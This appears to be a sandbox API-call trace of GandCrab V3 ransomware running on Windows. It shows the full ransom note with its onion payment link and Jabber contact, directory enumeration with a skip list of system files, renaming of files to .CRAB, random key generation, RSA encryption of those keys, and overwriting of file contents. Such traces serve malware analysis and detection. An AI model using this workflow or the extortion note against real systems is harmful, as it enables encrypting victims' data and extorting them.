	[0121.345] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.346] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.346] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0121.347] CloseHandle (hObject=0x3e0) returned 1
	[0121.347] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.348] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\") returned 96
	[0121.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*"
	[0121.348] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3165cd8
	[0121.348] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.348] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.348] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.348] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.348] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.348] lstrcmpW (lpString1="1.4.8.903", lpString2=".") returned 1
	[0121.348] lstrcmpW (lpString1="1.4.8.903", lpString2="..") returned 1
	[0121.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="1.4.8.903" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903"
	[0121.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\"
	[0121.348] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.349] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.349] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.349] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.349] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.349] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.349] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.350] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\\\CRAB-DECRYPT.txt") returned 123
	[0121.350] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0121.356] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.356] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0121.357] CloseHandle (hObject=0x3d8) returned 1
	[0121.357] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.357] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\") returned 106
	[0121.357] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*"
	[0121.357] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0x3165d18
	[0121.357] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.357] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.357] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.358] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.358] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.358] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.358] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.358] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\CRAB-DECRYPT.txt"
	[0121.358] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.358] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\CRAB-DECRYPT.txt") returned 122
	[0121.358] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\CRAB-DECRYPT.txt") returned 122
	[0121.358] lstrlenW (lpString=".txt") returned 4
	[0121.358] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.358] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.359] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\CRAB-DECRYPT.txt") returned 122
	[0121.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\CRAB-DECRYPT.txt") returned 122
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.359] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.359] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.359] lstrcmpW (lpString1="LICENSE.txt", lpString2=".") returned 1
	[0121.359] lstrcmpW (lpString1="LICENSE.txt", lpString2="..") returned 1
	[0121.360] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="LICENSE.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt"
	[0121.360] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.360] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117
	[0121.360] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117
	[0121.360] lstrlenW (lpString=".txt") returned 4
	[0121.360] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.360] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.360] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.360] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117
	[0121.360] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117
	[0121.360] lstrcmpiW (lpString1="LICENSE.txt", lpString2="desktop.ini") returned 1
	[0121.360] lstrcmpiW (lpString1="LICENSE.txt", lpString2="autorun.inf") returned 1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="ntuser.dat") returned -1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="iconcache.db") returned 1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="bootsect.bak") returned 1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="boot.ini") returned 1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="ntuser.dat.log") returned -1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="thumbs.db") returned -1
	[0121.361] lstrcmpiW (lpString1="LICENSE.txt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.361] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.361] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB") returned 122
	[0121.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt")) returned 0x20
	[0121.361] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt", dwFileAttributes=0x20) returned 1
	[0121.362] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt.crab")) returned 1
	[0121.363] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.363] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB"
	[0121.363] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB.CRAB"
	[0121.363] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e738) returned 1
	[0121.364] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.364] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.364] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314897c | out: pbBuffer=0x314897c) returned 1
	[0121.364] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0121.364] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.364] CryptAcquireContextW (in: phProv=0x3148840, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148840*=0xd6e7c0) returned 1
	[0121.365] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.365] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.365] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.365] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x3148958 | out: pbBuffer=0x3148958) returned 1
	[0121.365] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0121.366] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.366] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.366] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.367] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e6b0) returned 1
	[0121.367] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165e18) returned 1
	[0121.368] CryptGetKeyParam (in: hKey=0x3165e18, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.368] CryptEncrypt (in: hKey=0x3165e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314898c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314898c*=0x100) returned 1
	[0121.368] GetLastError () returned 0x0
	[0121.368] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.368] CryptAcquireContextW (in: phProv=0x3148830, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3148830*=0xd6e408) returned 1
	[0121.368] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0x3165458) returned 1
	[0121.369] CryptGetKeyParam (in: hKey=0x3165458, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0121.369] CryptEncrypt (in: hKey=0x3165458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3148990*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3148990*=0x100) returned 1
	[0121.369] GetLastError () returned 0x0
	[0121.369] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.369] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0121.369] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.370] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.370] ReadFile (in: hFile=0x3dc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x31489d4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x31489d4*=0x1df, lpOverlapped=0x0) returned 1
	[0121.383] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.384] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.384] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.384] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffe21, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.384] WriteFile (in: hFile=0x3dc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x31489c4*=0x1e0, lpOverlapped=0x0) returned 1
	[0121.384] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.385] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.388] WriteFile (in: hFile=0x3dc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.391] WriteFile (in: hFile=0x3dc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0121.391] WriteFile (in: hFile=0x3dc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x31489c4*=0x8, lpOverlapped=0x0) returned 1
	[0121.391] CloseHandle (hObject=0x3dc) returned 1
	[0121.391] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.391] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
